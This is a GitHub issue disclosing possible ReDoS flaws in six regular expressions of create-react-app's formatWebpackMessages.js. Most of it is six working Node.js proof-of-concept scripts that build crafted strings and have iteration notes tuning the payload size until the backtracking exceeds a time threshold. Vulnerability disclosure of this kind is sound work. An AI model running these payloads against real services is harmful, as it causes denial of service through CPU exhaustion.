Skip to content

Inefficient Regular Expression Complexity in react #17192

@guiyi-he

Description

@guiyi-he

For commit record 0a827f6, there is a potential ReDoS vulnerability risk in the regular expression entries in the following six code instances.

lines = lines.filter(line => !/Module [A-z ]+\(from/.test(line));

const parsingError = /Line (\d+):(?:(\d+):)?\s*Parsing error: (.+)$/.exec(

/SyntaxError\s+\((\d+):(\d+)\)\s*(.+?)\n/g,

/^.*export '(.+?)' was not found in '(.+?)'.*$/gm,

/^.*export 'default' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm,

/^.*export '(.+?)' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm,

The following six PoC.js code snippets can trigger this regular expression vulnerability, causing high CPU usage and high response time.

/**
 * ReDoS PoC for regexId: 1 - Iteration 1
 *
 * Target Regex: /Module [A-z ]+\(from/
 * Dataflow Path: json → json.errors → formatMessage(message) → split('\n') → filter test
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits message into array
 *   - Line 34: lines.filter() - tests each line with vulnerable regex
 * Sink Location: Line 34-43 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 808ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload integrity verified ✓, but intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 20000 → 50000
 * - Reasoning: Original payload caused 808ms backtracking, ~2.5x increase should
 *   push execution time well above 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 1");
console.log("[+] Vulnerable Regex: /Module [A-z ]+\\(from/");
console.log("[+] Previous result: 808ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 20000 → 50000");

// Construct base payload using components from vulnerability report
const prefix = "";
const infix = "Module ";
const suffix = "\u0000";
const repeatTimes = 50000;  // Increased from 20000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 34-43, filter with regex test");
console.log("[+] Data transformation: split('\\n') creates array of lines");
console.log("[+] Each line is tested individually by the regex");

// Construct final payload
const final_payload = base_payload;
console.log("[+] No path constraints detected, using base payload directly");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 808ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L34
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 2 - Iteration 1
 *
 * Target Regex: /Line (\d+):(?:(\d+):)?\s*Parsing error: (.+)$/
 * Dataflow Path: json → json.errors → formatMessage(message) → split('\n') → map with exec
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits message into array
 *   - Line 38-46: lines.map() - tests each line with regex.exec()
 *   - CRITICAL: split('\n') removes \n from original suffix
 * Suffix Adjustment: Original suffix "\n@@" adjusted to "\r@@"
 * Sink Location: Line 48-56 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 703ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Suffix correctly adjusted ✓, but payload intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 10000 → 25000
 * - Reasoning: Original payload caused 703ms backtracking, ~2.5x increase should
 *   push execution time above 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 2");
console.log("[+] Vulnerable Regex: /Line (\\d+):(?:(\\d+):)?\\s*Parsing error: (.+)$/");
console.log("[+] Previous result: 703ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 10000 → 25000");

// Construct base payload using components from vulnerability report
const prefix = "";
const infix = "Line 1:1: Parsing error: ";
const original_suffix = "\n@@";
const repeatTimes = 25000;  // Increased from 10000

console.log(`[+] Original suffix: ${JSON.stringify(original_suffix)}`);

// Analyze data transformation impact
console.log("\n[+] Analyzing data transformation impact on suffix...");
console.log("[+] Transformation detected: split('\\n') at line 21");
console.log("[+] Impact: \\n will be used as split delimiter and removed from payload");
console.log("[+] Regex contains (.+) which doesn't match \\n, \\r, \\u2028, \\u2029");
console.log("[+] Strategy: Replace \\n with \\r to preserve 'unmatchable' property");

// Adjust suffix to survive split('\n') transformation
const adjusted_suffix = original_suffix.replace(/\n/g, '\r');
console.log(`[+] Adjusted suffix: ${JSON.stringify(adjusted_suffix)}`);

const base_payload = prefix + infix.repeat(repeatTimes) + adjusted_suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 48-56, map with regex.exec()");
console.log("[+] After split('\\n'), each line is tested individually");
console.log("[+] Adjusted suffix ensures regex cannot fully match, forcing backtracking");

// Construct final payload
const final_payload = base_payload;
console.log("[+] No additional path constraints, using base payload");
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 703ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L39
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 3 - Iteration 2
 *
 * Target Regex: /SyntaxError\s+\((\d+):(\d+)\)\s*(.+?)\n/g
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n separators
 *   - Line 51-53: message.replace() with vulnerable regex - SINK
 * Sink Location: Line 66-75 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 317ms < 2000ms (failed)
 * Iteration 1: repeatTimes 40000 → 100000, Sink time 1952ms (48ms short!)
 *
 * Iteration 2 Changes:
 * - Previous attempt very close (1952ms vs 2000ms threshold)
 * - Strategy Applied: Fine-tuned Payload Intensity Increase
 * - Change: Increased repeatTimes from 100000 → 110000
 * - Reasoning: 10% increase should push execution just over 2000ms threshold
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 2: Fine-tuned payload intensity");
console.log("[+] Target Vulnerability: regexId 3");
console.log("[+] Vulnerable Regex: /SyntaxError\\s+\\((\\d+):(\\d+)\\)\\s*(.+?)\\n/g");
console.log("[+] Iteration 1 result: 1952ms (48ms short of threshold)");
console.log("[+] Optimization: repeatTimes 100000 → 110000");

// Construct base payload using components from vulnerability report
const prefix = "SyntaxError\t(0:0) ";
const infix = " ";
const suffix = "@";
const repeatTimes = 110000;  // Increased from 100000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 66-75, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → regex test (SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex expects pattern ending with \\n: (.+?)\\n");
console.log("[+] Suffix '@' does not contain \\n");
console.log("[+] After split→join cycle, \\n preserved between array elements");
console.log("[+] Suffix '@' at end prevents regex from matching, forcing backtracking");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 2 test completed.");
console.log("[+] Expected: Sink time should exceed 2000ms threshold.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L52
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 4 - Iteration 1
 *
 * Target Regex: /^.*export '(.+?)' was not found in '(.+?)'.*$/gm
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n
 *   - Line 51-53: First replace() operation
 *   - Line 56-58: Second replace() with vulnerable regex - SINK
 * Sink Location: Line 78-87 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 714ms < 2000ms (failed)
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload integrity verified ✓, but intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 20000 → 50000
 * - Reasoning: Similar pattern to regexId 1 (714ms vs 808ms base). RegexId 1
 *   succeeded with 2.5x increase to 50000 reps, applying same ratio here.
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 4");
console.log("[+] Vulnerable Regex: /^.*export '(.+?)' was not found in '(.+?)'.*$/gm");
console.log("[+] Previous result: 714ms (Phase 2)");
console.log("[+] Optimization: repeatTimes 20000 → 50000");

// Construct base payload using components from vulnerability report
const prefix = " ";
const infix = "export '\u0000";
const suffix = "\n1\n";
const repeatTimes = 50000;  // Increased from 20000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 78-87, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → first transform");
console.log("    5. replace() at line 78-87 → regex test (SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex uses multiline mode (gm), matching per-line");
console.log("[+] Pattern: ^.*export '...' was not found in '...'.*$");
console.log("[+] Suffix '\\n1\\n' preserved through split→join cycle");
console.log("[+] Payload creates multiple lines, none matching the expected pattern");
console.log("[+] Leading .* causes extensive backtracking when match fails");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 714ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L57
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 5 - Iteration 1
 *
 * Target Regex: /^.*export 'default' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace chains
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n
 *   - Line 51-53: First replace() operation
 *   - Line 56-58: Second replace() operation
 *   - Line 60-62: Third replace() with vulnerable regex - SINK
 * Sink Location: Line 89-98 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 635ms < 2000ms (failed at target sink)
 * - Note: Payload triggered severe ReDoS (>30s timeout) at downstream regexId 6
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload effective at regexId 6, insufficient for target regexId 5
 * - Problem Type 2.2: Payload intensity too low for target sink
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 10000 → 25000
 * - Reasoning: Original 10000 reps caused only 635ms at target sink but >30s
 *   at regexId 6. Higher intensity should boost target sink performance while
 *   accepting that cross-influence with regexId 6 will persist.
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity for target sink");
console.log("[+] Target Vulnerability: regexId 5");
console.log("[+] Vulnerable Regex: /^.*export 'default' \\\\(imported as '(.+?)'\\\\) was not found in '(.+?)'.*$/gm");
console.log("[+] Previous result: 635ms at target (failed), >30s at regexId 6 (cross-influence)");
console.log("[+] Optimization: repeatTimes 10000 → 25000");

// Construct base payload using components from vulnerability report
const prefix = " ";
const infix = "export 'default' (imported as '\u0000";
const suffix = "\n1\n";
const repeatTimes = 25000;  // Increased from 10000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 89-98, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → first transform");
console.log("    5. replace() at line 78-87 → second transform");
console.log("    6. replace() at line 89-98 → regex test (TARGET SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex uses multiline mode (gm), matching per-line");
console.log("[+] Pattern: ^.*export 'default' \\(imported as '...'\\) was not found in '...'.*$");
console.log("[+] Suffix '\\n1\\n' preserved through split→join cycle");
console.log("[+] Payload creates multiple lines, none matching the expected pattern");
console.log("[+] Leading .* causes extensive backtracking when match fails");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);
console.log("[!] WARNING: May trigger cross-influence with regexId 6 (expected behavior)");

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Target sink time should exceed previous 635ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L61
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
/**
 * ReDoS PoC for regexId: 6 - Iteration 1
 *
 * Target Regex: /^.*export '(.+?)' \(imported as '(.+?)'\) was not found in '(.+?)'.*$/gm
 * Dataflow Path: json → json.errors → formatMessage → split → map → join → replace chains
 * Path Constraints: None
 * Data Transformations:
 *   - Line 21: message.split('\n') - splits into array
 *   - Line 38-47: lines.map() - transforms each line
 *   - Line 49: lines.join('\n') - rejoins with \n
 *   - Line 51-53: First replace() operation
 *   - Line 56-58: Second replace() operation
 *   - Line 60-62: Third replace() operation
 *   - Line 64-66: Fourth replace() with vulnerable regex - SINK
 * Sink Location: Line 100-109 (formatWebpackMessages.js)
 *
 * === ITERATION HISTORY ===
 * Phase 2 Validation: Sink time 725ms < 2000ms (failed)
 * - Note: Cross-testing showed regexId 4 (50k reps) triggered 4.4s here,
 *   and regexId 5 (25k reps) triggered >30s hang here
 *
 * Iteration 1 Changes:
 * - Diagnosis: Payload integrity verified ✓, but intensity insufficient
 * - Problem Type 2.2: Payload intensity too low
 * - Strategy Applied: Strategy B (Increase Payload Intensity)
 * - Change: Increased repeatTimes from 20000 → 50000
 * - Reasoning: Similar pattern to regexId 4. Cross-testing proved this sink
 *   is highly vulnerable to similar payloads at higher intensities. Using
 *   same 2.5x ratio that succeeded for regexId 4.
 *
 * Generation Time: 2025-01-18 (Phase 1)
 * Iteration Time: 2025-11-30 (Phase 3)
 */

const formatWebpackMessages = require('./formatWebpackMessages.js');

console.log("[+] Iteration 1: Increased payload intensity");
console.log("[+] Target Vulnerability: regexId 6");
console.log("[+] Vulnerable Regex: /^.*export '(.+?)' \\\\(imported as '(.+?)'\\\\) was not found in '(.+?)'.*$/gm");
console.log("[+] Previous result: 725ms (Phase 2)");
console.log("[+] Cross-testing: Triggered 4.4s by regexId 4, >30s by regexId 5");
console.log("[+] Optimization: repeatTimes 20000 → 50000");

// Construct base payload using components from vulnerability report
const prefix = " ";
const infix = "export '\u0000";
const suffix = "\n1\n";
const repeatTimes = 50000;  // Increased from 20000

const base_payload = prefix + infix.repeat(repeatTimes) + suffix;
console.log(`[+] Base payload length: ${base_payload.length} characters`);

console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: json.errors (array)");
console.log("[+] Sink: Line 100-109, message.replace() with vulnerable regex");
console.log("[+] Data transformation chain:");
console.log("    1. split('\\n') at line 21 → array of lines");
console.log("    2. map() at line 38-47 → transform lines");
console.log("    3. join('\\n') at line 49 → reassemble with \\n");
console.log("    4. replace() at line 66-75 → first transform");
console.log("    5. replace() at line 78-87 → second transform");
console.log("    6. replace() at line 89-98 → third transform");
console.log("    7. replace() at line 100-109 → regex test (TARGET SINK)");

console.log("\n[+] Suffix analysis:");
console.log("[+] Regex uses multiline mode (gm), matching per-line");
console.log("[+] Pattern: ^.*export '...' \\(imported as '...'\\) was not found in '...'.*$");
console.log("[+] Suffix '\\n1\\n' preserved through split→join cycle");
console.log("[+] Payload creates multiple lines, none matching the expected pattern");
console.log("[+] Leading .* causes extensive backtracking when match fails");

// Construct final payload
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);

// Wrap payload in expected format
const input_json = {
  errors: [final_payload],
  warnings: []
};

console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: formatWebpackMessages(input_json)`);

console.time("ReDoS-Attack-Time");
try {
    const result = formatWebpackMessages(input_json);
    console.log("\n[+] Function execution completed");
} catch (e) {
    console.log("\n[!] Function execution threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");

console.log("\n[+] Iteration 1 test completed.");
console.log("[+] Expected: Sink time should significantly exceed previous 725ms result.");

/* How to use:
 * 1.Download the file:https://github.com/facebook/create-react-app/blob/0a827f69ab0d2ee3871ba9b71350031d8a81b7ae/packages/react-dev-utils/formatWebpackMessages.js#L65
 * 2.Put poc.js and formatWebpackMessages.js in the same folder
 * 3.Enter the command in the terminal: node poc.js
 * 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/

We can fix the regular expression to avoid the exponential increase in query time caused by backtracking matching.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions